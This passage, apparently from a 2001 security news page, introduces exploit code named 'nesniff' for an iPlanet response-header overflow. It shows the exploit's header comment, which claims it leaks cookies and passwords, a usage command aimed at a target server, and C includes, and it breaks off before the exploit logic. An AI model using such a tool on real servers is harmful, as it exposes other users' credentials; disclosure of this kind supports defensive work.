In a previous article, we discussed the vulnerability that can be found in several iPlanet products and possibly in other products that allows attackers to cause the server to overflow internal buffers. The following is an exploit code that demonstrates the problem.
idea from atstake's advisory "Response Header Overflow", www.atstake.com
coded by Saarioinen, 12 June 2001.
Can give you some useful info (cookies, parts of requests, passwords, etc...)
$./nesniff some_directory www.server.com 2000 -v
...
...
a lot of garbage
...
...
Do what you what whith this code, i don't care.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <signal.h>